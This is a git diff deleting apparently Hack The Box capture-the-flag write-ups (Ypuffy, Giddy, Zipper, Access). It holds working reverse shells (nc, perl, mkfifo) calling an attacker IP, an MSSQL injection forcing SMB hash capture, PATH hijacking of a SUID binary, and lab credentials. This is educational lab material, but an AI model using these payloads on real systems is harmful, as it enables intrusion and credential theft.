-ypuffy$ doas -u userca /usr/bin/ssh-keygen -s /home/userca/ca -I snowscan -n root,3m3rgencyB4ckd00r -V +1w -z 1 id_ecdsa.pub
-Signed user key id_ecdsa-cert.pub: id "snowscan" serial 1 for root,3m3rgencyB4ckd00r valid from 2018-09-15T20:07:00 to 2018-09-22T20:08:02
-ypuffy$ mkdir /home/alice1978/.ssh
-ypuffy$ cp id_ecdsa* /home/alice1978/.ssh
-ypuffy$ ssh root@localhost
-The authenticity of host 'localhost (127.0.0.1)' can't be established.
-ECDSA key fingerprint is SHA256:oYYpshmLOvkyebJUObgH6bxJkOGRu7xsw3r7ta0LCzE.
-Are you sure you want to continue connecting (yes/no)? yes
-Warning: Permanently added 'localhost' (ECDSA) to the list of known hosts.
-OpenBSD 6.3 (GENERIC) #100: Sat Mar 24 14:17:45 MDT 2018
-
-Welcome to OpenBSD: The proactively secure Unix-like operating system.
-
-Please use the sendbug(1) utility to report bugs in the system.
-Before reporting a bug, please try to reproduce it with the latest
-version of the code. With bug reports, please try to ensure that
-enough information to reproduce the problem is enclosed, and if a
-known fix for it exists, include that as well.
-
-ypuffy# cat root.txt
-1265f8
-```
\ No newline at end of file
diff --git a/_posts/2019-02-16-htb-writeup-giddy.md b/_posts/2019-02-16-htb-writeup-giddy.md
deleted file mode 100644
index d7c0f02533..0000000000
--- a/_posts/2019-02-16-htb-writeup-giddy.md
+++ /dev/null
@@ -1,393 +0,0 @@
----
-layout: single
-title: Giddy - Hack The Box
-excerpt: This is the writeup for Giddy, a Windows machine with an interesting twist on SQL injection, PowerShell Web Access and a priv exploiting improper permissions.
-date: 2019-02-16
-classes: wide
-header:
- teaser: /assets/images/htb-writeup-giddy/giddy_logo.png
-categories:
- - hackthebox
- - infosec
-tags:
- - sqli
- - powershell
- -
----
-
-Giddy from Hack the Box is being retired this week so I'll go over the steps to pwn this box. For this one we need to find an easy SQL injection point in the web application then leverage this to trigger an SMB connection back to our machine and use responder to capture some hashes. I learned a bit about Web powershell while doing this box as I didn't know that even existed.
-
-
-
-### Tools/Blogs used
-
- - [https://github.com/SpiderLabs/Responder](responder.py)
- - [Ubiquiti UniFi Video 3.7.3 - Local Privilege Escalation](https://www.exploit-db.com/exploits/43390/)
-
-## Quick summary
-
-- There's an SQL injection in the generic products inventory page
-- Using the SQL injection in MSSQL, we can trigger an SMB connection back to us and get the NTLM hash with responder.py
-- The credentials are used to gain access to a restricted PS session through the Web Powershell interface
-- The Ubiquiti Unifi Video service has weak file permissions and allow us to upload an arbitrary file and execute it as SYSTEM
-- A reverse shell executable is compiled, uploaded and executed to get SYSTEM access
-
-### Tools/Blogs used
-
-- mdbtools
-- readpst
-
-## Detailed steps
-
-### Nmap
-
-Services running:
-- HTTP(s)
-- RDP
-- WinRM
-
-```
-root@darkisland:~# nmap -sC -sV -p- 10.10.10.104
-Starting Nmap 7.70 ( https://nmap.org ) at 2018-09-08 19:28 EDT
-Nmap scan report for giddy.htb (10.10.10.104)
-Host is up (0.015s latency).
-Not shown: 65531 filtered ports
-PORT STATE SERVICE VERSION
-80/tcp open http Microsoft IIS httpd 10.0
-| http-methods:
-|_ Potentially risky methods: TRACE
-|_http-server-header: Microsoft-IIS/10.0
-|_http-title: IIS Windows Server
-443/tcp open ssl/http Microsoft IIS httpd 10.0
-| http-methods:
-|_ Potentially risky methods: TRACE
-|_http-server-header: Microsoft-IIS/10.0
-|_http-title: IIS Windows Server
-| ssl-cert: Subject: commonName=PowerShellWebAccessTestWebSite
-| Not valid before: 2018-06-16T21:28:55
-|_Not valid after: 2018-09-14T21:28:55
-|_ssl-date: 2018-09-08T23:26:04+00:00; -4m42s from scanner time.
-| tls-alpn:
-| h2
-|_ http/1.1
-3389/tcp open ms-wbt-server Microsoft Terminal Services
-| ssl-cert: Subject: commonName=Giddy
-| Not valid before: 2018-06-16T01:04:03
-|_Not valid after: 2018-12-16T01:04:03
-|_ssl-date: 2018-09-08T23:26:04+00:00; -4m41s from scanner time.
-5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
-|_http-server-header: Microsoft-HTTPAPI/2.0
-|_http-title: Not Found
-Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
-```
-
-### Web enumeration
-
-I found two interesting directories:
-- `/mvc`
-- `/remote`
-
-```
-root@darkisland:~# gobuster -w SecLists/Discovery/Web-Content/big.txt -t 50 -u http://10.10.10.104
-
-=====================================================
-Gobuster v2.0.0 OJ Reeves (@TheColonial)
-=====================================================
-[+] Mode : dir
-[+] Url/Domain : http://10.10.10.104/
-[+] Threads : 50
-[+] Wordlist : SecLists/Discovery/Web-Content/big.txt
-[+] Status codes : 200,204,301,302,307,403
-[+] Timeout : 10s
-=====================================================
-2018/09/08 15:02:36 Starting gobuster
-=====================================================
-/aspnet_client (Status: 301)
-/mvc (Status: 301)
-/remote (Status: 302)
-=====================================================
-2018/09/08 15:03:13 Finished
-=====================================================
-```
-
-**Main page**
-
-The main page has nothing interesting on it, just some image of a dog.
-
-
-
-**/remote**
-
-The `/remote` URI contains a Windows PowerShell Web Access interface which we'll use later.
-
-
-
-**/mvc**
-
-The `/mvc` URI is some generic demonstration ASP.NET page with a database backend. We can register a new user but there's nothing interesting we can do with a user vs. an anonymous ession. The web application simply lists products from the database. There's also a search function that we can use to look in the database.
-
-![]/assets/images/htb-writeup-giddy/(mvc1.png)
-
-
-
-The 1st SQL injection point is the search field since we can trigger an SQL error with a single quote.
-
-
-
-The 2nd SQL injection point is the GET parameter field in the product category, we can trigger an SQL error with a single quote also.
-
-GET: `https://10.10.10.104/mvc/Product.aspx?ProductSubCategoryId=18%27`
-
-
-
-SQLmap can be used to enumerate the database contents:
-
-```
-root@darkisland:~# sqlmap -u https://10.10.10.104/mvc/Product.aspx?ProductSubCategoryId=1 --dbms=mssql --dbs
- ___
- __H__
- ___ ___[,]_____ ___ ___ {1.2.8#stable}
-|_ -| . ['] | .'| . |
-|___|_ [']_|_|_|__,| _|
- |_|V |_| http://sqlmap.org
-
-[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
-
-[*] starting at 19:46:05
-
-[19:46:05] [INFO] testing connection to the target URL
-[19:46:05] [INFO] checking if the target is protected by some kind of WAF/IPS/IDS
-[19:46:05] [CRITICAL] heuristics detected that the target is protected by some kind of WAF/IPS/IDS
-do you want sqlmap to try to detect backend WAF/IPS/IDS? [y/N]
-[19:46:07] [WARNING] dropping timeout to 10 seconds (i.e. '--timeout=10')
-[19:46:07] [INFO] testing if the target URL content is stable
-[19:46:07] [WARNING] target URL content is not stable. sqlmap will base the page comparison on a sequence matcher. If no dynamic nor injectable parameters are detected, or in case of junk results, refer to user's manual paragraph 'Page comparison'
-how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit]
-[19:46:08] [INFO] searching for dynamic content
-[19:46:08] [INFO] dynamic content marked for removal (1 region)
-[...]
-GET parameter 'ProductSubCategoryId' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
-sqlmap identified the following injection point(s) with a total of 90 HTTP(s) requests:
----
-Parameter: ProductSubCategoryId (GET)
- Type: boolean-based blind
- Title: AND boolean-based blind - WHERE or HAVING clause
- Payload: ProductSubCategoryId=1 AND 1298=1298
-
- Type: error-based
- Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)
- Payload: ProductSubCategoryId=1 AND 1726 IN (SELECT (CHAR(113)+CHAR(107)+CHAR(98)+CHAR(120)+CHAR(113)+(SELECT (CASE WHEN (1726=1726) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(106)+CHAR(122)+CHAR(113)+CHAR(113)))
-
- Type: inline query
- Title: Microsoft SQL Server/Sybase inline queries
- Payload: ProductSubCategoryId=(SELECT CHAR(113)+CHAR(107)+CHAR(98)+CHAR(120)+CHAR(113)+(SELECT (CASE WHEN (6760=6760) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(106)+CHAR(122)+CHAR(113)+CHAR(113))
-
- Type: stacked queries
- Title: Microsoft SQL Server/Sybase stacked queries (comment)
- Payload: ProductSubCategoryId=1;WAITFOR DELAY '0:0:5'--
-
- Type: AND/OR time-based blind
- Title: Microsoft SQL Server/Sybase time-based blind (IF)
- Payload: ProductSubCategoryId=1 WAITFOR DELAY '0:0:5'
----
-[19:46:37] [INFO] testing Microsoft SQL Server
-[19:46:38] [INFO] confirming Microsoft SQL Server
-[19:46:38] [INFO] the back-end DBMS is Microsoft SQL Server
-web server operating system: Windows 10 or 2016
-web application technology: ASP.NET 4.0.30319, ASP.NET, Microsoft IIS 10.0
-back-end DBMS: Microsoft SQL Server 2016
-[19:46:38] [INFO] fetching database names
-[19:46:38] [INFO] used SQL query returns 5 entries
-[19:46:38] [INFO] retrieved: Injection
-[19:46:38] [INFO] retrieved: master
-[19:46:38] [INFO] retrieved: model
-[19:46:38] [INFO] retrieved: msdb
-[19:46:38] [INFO] retrieved: tempdb
-available databases [5]:
-[*] Injection
-[*] master
-[*] model
-[*] msdb
-[*] tempdb
-
-[19:46:38] [WARNING] HTTP error codes detected during run:
-500 (Internal Server Error) - 67 times
-[19:46:38] [INFO] fetched data logged to text files under '/root/.sqlmap/output/10.10.10.104'
-
-[*] shutting down at 19:46:38
-```
-
-We found one of the local user: `Stacy`
-
-```
-[19:48:06] [INFO] fetching current user
-[19:48:06] [INFO] retrieved: giddy\\stacy
-current user: 'giddy\\stacy'
-```
-
-We can't pull the users from the database since the current user doesn't have sufficient privileges:
-
-```
-[19:47:25] [WARNING] unable to retrieve the number of password hashes for user 'BUILTIN\\Users'
-[19:47:25] [INFO] fetching number of password hashes for user 'giddy\\stacy'
-[19:47:25] [INFO] retrieved:
-[19:47:25] [INFO] retrieved:
-[19:47:26] [WARNING] unable to retrieve the number of password hashes for user 'giddy\\stacy'
-[19:47:26] [INFO] fetching number of password hashes for user 'sa'
-[19:47:26] [INFO] retrieved:
-[19:47:26] [INFO] retrieved:
-[19:47:26] [WARNING] unable to retrieve the number of password hashes for user 'sa'
-[19:47:26] [ERROR] unable to retrieve the password hashes for the database users (probably because the DBMS current user has no read privileges over the relevant system database table(s))
-```
-
-There's nothing else of interest in the database, no credentials or any other hint.
-
-### SMB hashes
-
-We have a username but no password for that account. However we can force the MSSQL server to connect back to use with SMB and then use responder to get the NTLMv2 hash.
-
-MSSQL supports stacked queries so we can create a variable pointing to our IP address then use the `xp_dirtree` function to list the files in our SMB share and grab the NTLMv2 hash.
-
-Query: `GET /mvc/Product.aspx?ProductSubCategoryId=28;declare%20@q%20varchar(99);set%20@q=%27\\10.10.14.23\test%27;exec%20master.dbo.xp_dirtree%20@q HTTP/1.1`
-
-With responder.py we can grab the hash:
-
-```
-[SMB] NTLMv2-SSP Client : 10.10.10.104
-[SMB] NTLMv2-SSP Username : GIDDY\Stacy
-[SMB] NTLMv2-SSP Hash : Stacy::GIDDY:1234567890123456:E5F6E4D55FD85E3C81554FD67088C8E2:0101000000000000CC831652C447D4014EC0AB8B8592622B0000000002000A0053004D0042003100320001000A0053004D0042003100320004000A0053004D0042003100320003000A0053004D0042003100320005000A0053004D0042003100320008003000300000000000000000000000003000003184F7110D23082928FF6CBBB72AEA07F35DCE741FC5B735D1B4780228A863AC0A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310034002E00320033000000000000000000
-[SMB] Requested Share : \\10.10.14.23\IPC$
-[SMB] NTLMv2-SSP Client : 10.10.10.104
-[SMB] NTLMv2-SSP Username : GIDDY\Stacy
-[SMB] NTLMv2-SSP Hash : Stacy::GIDDY:1234567890123456:C8FDC762ECE363F3B36E180C809B690D:0101000000000000E8DABE52C447D401D0CB7EFDCD2687540000000002000A0053004D0042003100320001000A0053004D0042003100320004000A0053004D0042003100320003000A0053004D0042003100320005000A0053004D0042003100320008003000300000000000000000000000003000003184F7110D23082928FF6CBBB72AEA07F35DCE741FC5B735D1B4780228A863AC0A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310034002E00320033000000000000000000
-[SMB] Requested Share : \\10.10.14.23\TEST
-```
-
-Hash: `Stacy::GIDDY:1234567890123456:E5F6E4D55FD85E3C81554FD67088C8E2:0101000000000000CC831652C447D4014EC0AB8B8592622B0000000002000A0053004D0042003100320001000A0053004D0042003100320004000A0053004D0042003100320003000A0053004D0042003100320005000A0053004D0042003100320008003000300000000000000000000000003000003184F7110D23082928FF6CBBB72AEA07F35DCE741FC5B735D1B4780228A863AC0A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310034002E00320033000000000000000000`
-
-The hash is crackable with the standard rockyou.txt list and we recover the password:
-
-```
-root@darkisland:~/giddy# john --fork=4 -w=/usr/share/wordlists/rockyou.txt hash.txt
-Using default input encoding: UTF-8
-Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
-Node numbers 1-4 of 4 (fork)
-Press 'q' or Ctrl-C to abort, almost any other key for status
-xNnWo6272k7x (Stacy)
-```
-
-Password: `xNnWo6272k7x`
-
-### Powershell web access
-
-We can now log in to the web powershell interface using:
-
-- Username: `giddy\stacy`
-- Password: `xNnWo6272k7x`
-- Computer: `giddy`
-
-
-
-### Privesc
-
-The hint for the privesc is in the documents folder -> `unifivideo`
-
-
-
-There's a local privilege escalation exploit with Ubiquiti UniFi Video 3.7.3. Basically, the privileges are not set correctly in the installation directory where the service is installed so any user can substitute the executable for the service with a malicious file and get RCE as SYSTEM.
-
-We confirm that the software is installed:
-
-
-
-First, we create a simple exe that spawn a netcat connection back to us:
-
-```c
-#include "stdafx.h"
-#include "stdlib.h"
-
-
-int main()
-{
- system("nc.exe -e cmd.exe 10.10.14.23 4444");
- return 0;
-}
-```
-
-To upload the .exe and netcat to the box, we can spawn an SMB server with Impacket:
-
-```
-root@darkisland:~/giddy# python /usr/share/doc/python-impacket/examples/smbserver.py test .
-Impacket v0.9.15 - Copyright 2002-2016 Core Security Technologies
-
-[*] Config file parsed
-[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
-[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
-[*] Config file parsed
-[*] Config file parsed
-[*] Config file parsed
-```
-
-
-
-Then we copy the file to taskkill.exe as explained in the exploit description, then stop-start the service.
-
-
-
-```
-root@darkisland:~/hackthebox/Machines/Giddy# nc -lvnp 4444
-listening on [any] 4444 ...
-connect to [10.10.14.23] from (UNKNOWN) [10.10.10.104] 49805
-Microsoft Windows [Version 10.0.14393]
-(c) 2016 Microsoft Corporation. All rights reserved.
-
-C:\ProgramData\unifi-video>whoami
-whoami
-nt authority\system
-
-C:\ProgramData\unifi-video>type c:\users\administrator\desktop\root.txt
-type c:\users\administrator\desktop\root.txt
-CF559C
-C:\ProgramData\unifi-video>
-```
-
-### Alternate shell method
-
-Instead of using the Web Powershell interface, we can also log in with WinRM. To do that under Linux, I used [Alamot's](https://github.com/Alamot/code-snippets/tree/master/winrm) WinRM ruby script:
-
-```ruby
-require 'winrm'
-
-# Author: Alamot
-
-conn = WinRM::Connection.new(
- endpoint: 'http://10.10.10.104:5985/wsman',
- #transport: :ssl,
- user: 'stacy',
- password: 'xNnWo6272k7x',
- #:client_cert => 'certnew.cer',
- #:client_key => 'privateKey.key',
- #:no_ssl_peer_verification => true
-)
-
-command=""
-
-conn.shell(:powershell) do |shell|
- until command == "exit\n" do
- output = shell.run("-join($id,'PS ',$(whoami),'@',$env:computername,' ',$((gi $pwd).Name),'> ')")
- print(output.output.chomp)
- command = gets
- output = shell.run(command) do |stdout, stderr|
- STDOUT.print stdout
- STDERR.print stderr
- end
- end
- puts "Exiting with code #{output.exitcode}"
-end
-```
-
-```
-~/code-snippets/winrm# ruby giddy.rb
-PS giddy\stacy@GIDDY Documents> whoami
-giddy\stacy
-```
\ No newline at end of file
diff --git a/_posts/2019-02-23-htb-writeup-zipper.md b/_posts/2019-02-23-htb-writeup-zipper.md
deleted file mode 100644
index 69d11f804c..0000000000
--- a/_posts/2019-02-23-htb-writeup-zipper.md
+++ /dev/null
@@ -1,357 +0,0 @@
----
-layout: single
-title: Zipper - Hack The Box
-excerpt: This is the writeup for Zipper, a Linux box running the Zabbix network monitoring software inside a docker container.
-date: 2019-02-23
-classes: wide
-header:
- teaser: /assets/images/htb-writeup-zipper/zipper_logo.png
-categories:
- - hackthebox
- - infosec
-tags:
- - linux
- - zabbix
- - api
- - suid
----
-
-Zipper was a cool box that mixed some enumeration, API usage and a priv esc using a SUID binary. I had some problems at first getting into Zabbix when I found a possible username but didn't think of trying the same name as the password. The priv esc was pretty cool, I used ltrace to check which functions are called by the binary and I was able to understand what to do next without having to reverse the binary with IDA or R2.
-
-
-
-## Quick summary
-
-- There's a Zabbix server running and we can log in as guest and obtain the `zapper` username
-- We can't log in as `zapper` on the GUI but we can issue API calls
-- We can create a script (thru API calls) and get RCE as user `zabbix` within a container
-- Then we find the zabbix DB credentials which can also be used to log in as user `admin` on Zabbix
-- We can then create a perl reverse shell script and make it run on the zabbix agent (running on the host OS)
-- The password for user `zapper` is found in the `backup.sh` script
-- We can then `su` to user `zapper` and upload our ssh key and get the user flag
-- The priv esc is a suid binary that executes the `systemctl daemon-reload` command
-- We can hijack this command by creating our own systemctl file (with a reverse shell), then modify the path so the suid file executes our file instead of `/bin/systemctl`
-
-## Detailed steps
-
-### Nmap
-
-```
-root@ragingunicorn:~# nmap -sC -sV -p- 10.10.10.108
-Starting Nmap 7.70 ( https://nmap.org ) at 2018-10-20 15:01 EDT
-Nmap scan report for 10.10.10.108
-Host is up (0.021s latency).
-Not shown: 65532 closed ports
-PORT STATE SERVICE VERSION
-22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
-| ssh-hostkey:
-| 2048 59:20:a3:a0:98:f2:a7:14:1e:08:e0:9b:81:72:99:0e (RSA)
-| 256 aa:fe:25:f8:21:24:7c:fc:b5:4b:5f:05:24:69:4c:76 (ECDSA)
-|_ 256 89:28:37:e2:b6:cc:d5:80:38:1f:b2:6a:3a:c3:a1:84 (ED25519)
-80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
-|_http-server-header: Apache/2.4.29 (Ubuntu)
-|_http-title: Apache2 Ubuntu Default Page: It works
-10050/tcp open tcpwrapped
-Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
-```
-
-### Zabbix initial enumeration
-
-Port 10050 hints to a zabbix installation, since this is the port used by the zabbix agent:
-
-```
-root@ragingunicorn:~/hackthebox/Machines# nc -nv 10.10.10.108 10050
-(UNKNOWN) [10.10.10.108] 10050 (zabbix-agent) open
-```
-
-We found the zabbix installation under the `/zabbix` directory.
-
-The default credentials don't work but we can log in as guest.
-
-
-
-There's not much interesting except something about a `Zapper's Backup Script`:
-
-
-
-### Making API calls with user zapper
-
-We can then log in to Zabbix as user `zapper` with password `zapper` (had to guess that part). However, GUI access is not allowed.
-
-
-
-Zabbix has a [REST API](https://www.zabbix.com/documentation/3.0/manual/api) so we can use this instead to issue commands to Zabbix.
-
-The attack steps are:
-
-1. Log in to API
-2. Get list of Host IDs
-3. Create a script with a simple reverse shell
-4. Execute script (make sure to specify host ID)
-
-**Authentication**
-
-Body:
-
-
-
-Response:
-
-
-
-We got the following auth token which we'll re-use for other API calls: `e160aa247a18163cfabe3c5645c8500a`
-
-**Get list of Host IDs**
-
-Body:
-
-
-
-Response:
-
-
-
-
-**Create a script for RCE**
-
-Body:
-
-
-
-Response:
-
-
-
-**Execute script**
-
-Body:
-
-
-
-### First shell in the container
-
-We got a shell after executing the script from Zabbix:
-```
-root@ragingunicorn:~# nc -lvnp 4444
-listening on [any] 4444 ...
-connect to [10.10.14.23] from (UNKNOWN) [10.10.10.108] 54366
-/bin/sh: 0: can't access tty; job control turned off
-$ id
-uid=103(zabbix) gid=104(zabbix) groups=104(zabbix)
-$ hostname
-8e5a23a4dfec
-$
-```
-
-Based on the random hostname and the `.dockerenv` file in the root directory we can assume we're currently in a container:
-```
-drwxr-xr-x 1 root root 4096 Oct 20 19:27 .
-drwxr-xr-x 1 root root 4096 Oct 20 19:27 ..
--rwxr-xr-x 1 root root 0 Oct 20 19:27 .dockerenv
-```
-
-There's not much on this container except the Zabbix configuration file:
-```
-$ pwd
-/etc/zabbix
-$ ls
-apache.conf
-web
-zabbix_server.conf
-$
-```
-
-We can find some credentials in there:
-```
-$ egrep "DBUser|DBPassword" zabbix_server.conf
-# For SQLite3 path to database file must be provided. DBUser and DBPassword are ignored.
-### Option: DBUser
-# DBUser=
-DBUser=zabbix
-### Option: DBPassword
-DBPassword=f.YMeMd$pTbpY3-449
-$
-```
-
-- Username: `zabbix`
-- Password: `f.YMeMd$pTbpY3-449`
-
-### Getting a shell on the host OS
-
-We can log in to the Zabbix admin page with the `admin` username and `f.YMeMd$pTbpY3-449` password.
-
-
-
-Under the Zabbix host, we can see that there are two hosts and one is running the Zabbix Agent.
-
-
-
-The agent is running on the host OS while the Zabbix server is running in a container so what we want to do is modify our existing script so its runs on the Zabbix Agent (therefore on the Host OS) instead of the server.
-
-
-
-We can now get a shell on the Host OS but it's not stable and we lose the connection after a few seconds:
-```
-root@ragingunicorn:~/htb/zipper# nc -lvnp 4444
-listening on [any] 4444 ...
-connect to [10.10.14.23] from (UNKNOWN) [10.10.10.108] 55348
-/bin/sh: 0: can't access tty; job control turned off
-$ hostname
-zipper
-$ id
-uid=107(zabbix) gid=113(zabbix) groups=113(zabbix)
-$
-```
-
-After trying a few other shells, I found the perl shell works better and is more stable:
-```
-perl -e 'use Socket;$i="10.10.14.23";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
-```
-
-We now have a stable shell:
-```
-root@ragingunicorn:~/htb/zipper# nc -lvnp 4444
-listening on [any] 4444 ...
-connect to [10.10.14.23] from (UNKNOWN) [10.10.10.108] 46178
-/bin/sh: 0: can't access tty; job control turned off
-$ w
- 20:56:27 up 20 min, 0 users, load average: 0.02, 0.03, 0.04
-USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
-$ id
-uid=107(zabbix) gid=113(zabbix) groups=113(zabbix)
-$ hostname
-zipper
-$ python3 -c 'import pty;pty.spawn("/bin/bash")'
-zabbix@zipper:/$
-```
-
-We still can't read user.txt though:
-```
-cat: user.txt: Permission denied
-zabbix@zipper:/home/zapper$
-```
-
-But we find a password inside the `backup.sh` script:
-```
-zabbix@zipper:/home/zapper/utils$ ls
-backup.sh zabbix-service
-zabbix@zipper:/home/zapper/utils$ cat backup.sh
-#!/bin/bash
-#
-# Quick script to backup all utilities in this folder to /backups
-#
-/usr/bin/7z a /backups/zapper_backup-$(/bin/date +%F).7z -pZippityDoDah /home/zapper/utils/* &>/dev/null
-```
-
-We can `su` to `zapper` using the `ZippityDoDah` password:
-```
-echo $?zabbix@zipper:/home/zapper/utils$ su zapper
-su zapper
-Password: ZippityDoDah
-
-
- Welcome to:
-███████╗██╗██████╗ ██████╗ ███████╗██████╗
-╚══███╔╝██║██╔══██╗██╔══██╗██╔════╝██╔══██╗
- ███╔╝ ██║██████╔╝██████╔╝█████╗ ██████╔╝
- ███╔╝ ██║██╔═══╝ ██╔═══╝ ██╔══╝ ██╔══██╗
-███████╗██║██║ ██║ ███████╗██║ ██║
-╚══════╝╚═╝╚═╝ ╚═╝ ╚══════╝╚═╝ ╚═╝
-
-[0] Packages Need To Be Updated
-[>] Backups:
-
-
-
-zapper@zipper:~/utils$ cd ..
-cd ..
-zapper@zipper:~$ cat user.txt
-cat user.txt
-aa29e9
-```
-
-### Priv esc
-
-There's an interesting SUID file in the `utils` directory: `zabbix-service`
-```
-zapper@zipper:~/utils$ ls -l
-ls -l
-total 12
--rwxr-xr-x 1 zapper zapper 194 Sep 8 13:12 backup.sh
--rwsr-sr-x 1 root root 7556 Sep 8 13:05 zabbix-service
-```
-
-The file seems to control one of the zabbix service:
-```
-zapper@zipper:~/utils$ ./zabbix-service
-./zabbix-service
-start or stop?: start
-start
-```
-
-To see what it does, I used `ltrace` to check which functions are called:
-```
-zapper@zipper:~/utils$ ltrace -s 256 ./zabbix-service
-ltrace -s 256 ./zabbix-service
-__libc_start_main(0x45d6ed, 1, 0xbfb57f54, 0x45d840
-setuid(0) = -1
-setgid(0) = -1
-printf("start or stop?: ") = 16
-fgets(start or stop?: start
-start
-"start\n", 10, 0xb7f345c0) = 0xbfb57e82
-strcspn("start\n", "\n") = 5
-strcmp("start", "start") = 0
-system("systemctl daemon-reload && systemctl start zabbix-agent"Failed to reload daemon: The name org.freedesktop.PolicyKit1 was not provided by any .service files
-
---- SIGCHLD (Child exited) ---
-<... system resumed> ) = 256
-+++ exited (status 0) +++
-```
-
-Based on the `ltrace` output, we see that the program executes `systemctl daemon-reload && systemctl start zabbix-agent` as user root.
-
-Because the program doesn't execute systemctl using its full path, it is susceptible to hijacking by changing the PATH environment variable.
-
-We can write a simple bash script that spawns a reverse shell using a named pipe and name it `systemctl`
-```
-zapper@zipper:~/utils$ cat systemctl
-#!/bin/sh
-
-rm /tmp/f2;mkfifo /tmp/f2;/bin/cat /tmp/f2|/bin/sh -i 2>&1|/bin/nc 10.10.14.23 5555 >/tmp/f2
-zapper@zipper:~/utils$ chmod +x systemctl
-chmod +x systemctl
-```
-
-**We need to use /bin/cat instead of just cat because we'll remove /bin from the PATH env variable**
-
-Next, we remove `/bin` from the PATH and add `/home/zapper/utils`:
-```
-zapper@zipper:~/utils$ echo $PATH
-echo $PATH
-/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games
-zapper@zipper:~/utils$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/home/zapper/utils
-
-#
-```
\ No newline at end of file
diff --git a/_posts/2019-03-02-htb-writeup-access.md b/_posts/2019-03-02-htb-writeup-access.md
deleted file mode 100644
index 4bbe903f0f..0000000000
--- a/_posts/2019-03-02-htb-writeup-access.md
+++ /dev/null
@@ -1,298 +0,0 @@
----
-layout: single
-title: Access - Hack The Box
-excerpt: This is the writeup for Access, a Windows machine involving some enumeration of an Access DB, an Outlook PST and a priv esc using Windows Credential Manager.
-date: 2019-03-02
-classes: wide
-header:
- teaser: /assets/images/htb-writeup-access/access_logo.png
-categories:
- - hackthebox
- - infosec
-tags:
- - telnet
- - windows
- - access
- - outlook
- - credential manager
----
-
-Access was a quick and fun box where we had to look for credentials in an Access database then use the credentials to decrypt a PST file. Kali Linux has some tools that let us read those two file types without having to spin up a Windows VM. The box creator was kind enough to open up telnet so once we got the low privilege user credentials from the mailbox file we could log on and find the administrator credentials in the Windows Credential Manager.
-
-
-
-## Quick summary
-
-- There's an encrypted zip file on the FTP server along with a .mdb Access DB backup
-- The password for the zip file is contained in the backup file
-- The zip file contains a .PST file with another set of credentials in an email
-- The credentials give access to Windows through the telnet service
-- The Windows administrator credentials are stored in Windows Credentials Manager
-
-### Tools/Blogs used
-
-- mdbtools
-- readpst
-
-## Detailed steps
-
-### Portscan
-
-Not many ports open for a Windows box.
-
-```
-root@darkisland:~# nmap -F 10.10.10.98
-Starting Nmap 7.70 ( https://nmap.org ) at 2018-09-30 18:24 EDT
-Nmap scan report for access.htb (10.10.10.98)
-Host is up (0.018s latency).
-Not shown: 97 filtered ports
-PORT STATE SERVICE
-21/tcp open ftp
-23/tcp open telnet
-80/tcp open http
-```
-
-#### FTP
-
-The FTP site allows anonymous access and there's two interesting files we can download:
-- `backup.mdb`
-- `Access Control.zip`
-
-```
-root@darkisland:~/hackthebox/Machines/Access# ftp 10.10.10.98
-Connected to 10.10.10.98.
-220 Microsoft FTP Service
-Name (10.10.10.98:root): anonymous
-331 Anonymous access allowed, send identity (e-mail name) as password.
-Password:
-230 User logged in.
-Remote system type is Windows_NT.
-ftp> ls
-200 PORT command successful.
-125 Data connection already open; Transfer starting.
-08-23-18 09:16PM Backups
-08-24-18 10:00PM Engineer
-226 Transfer complete.
-ftp> cd Backups
-250 CWD command successful.
-ftp> ls
-200 PORT command successful.
-125 Data connection already open; Transfer starting.
-08-23-18 09:16PM 5652480 backup.mdb
-226 Transfer complete.
-ftp> type binary
-200 Type set to I.
-ftp> get backup.mdb
-local: backup.mdb remote: backup.mdb
-200 PORT command successful.
-125 Data connection already open; Transfer starting.
-226 Transfer complete.
-5652480 bytes received in 0.94 secs (5.7248 MB/s)
-ftp> cd ..
-250 CWD command successful.
-ftp> cd Engineer
-250 CWD command successful.
-ftp> ls
-200 PORT command successful.
-125 Data connection already open; Transfer starting.
-08-24-18 01:16AM 10870 Access Control.zip
-226 Transfer complete.
-ftp> get "Access Control.zip"
-local: Access Control.zip remote: Access Control.zip
-200 PORT command successful.
-125 Data connection already open; Transfer starting.
-226 Transfer complete.
-10870 bytes received in 0.05 secs (200.3631 kB/s)
-```
-
-### Finding a password in the Access database
-
-We can use mdbtools to view the Access database file:
-
-```
-root@darkisland:~/hackthebox/Machines/Access# mdb-tables -1 backup.mdb | grep -i auth
-auth_group_permissions
-auth_message
-auth_permission
-auth_user
-auth_user_groups
-auth_user_user_permissions
-auth_group
-AUTHDEVICE
-```
-
-We can issue SQL queries with the `mdb-sql` tool and look for credentials in the `auth_user` table:
-
-```
-root@darkisland:~/hackthebox/Machines/Access# mdb-sql -p backup.mdb
-1 => select * from auth_user
-2 => go
-
-id username password Status last_login RoleID Remark
-25 admin admin 1 08/23/18 21:11:47 26
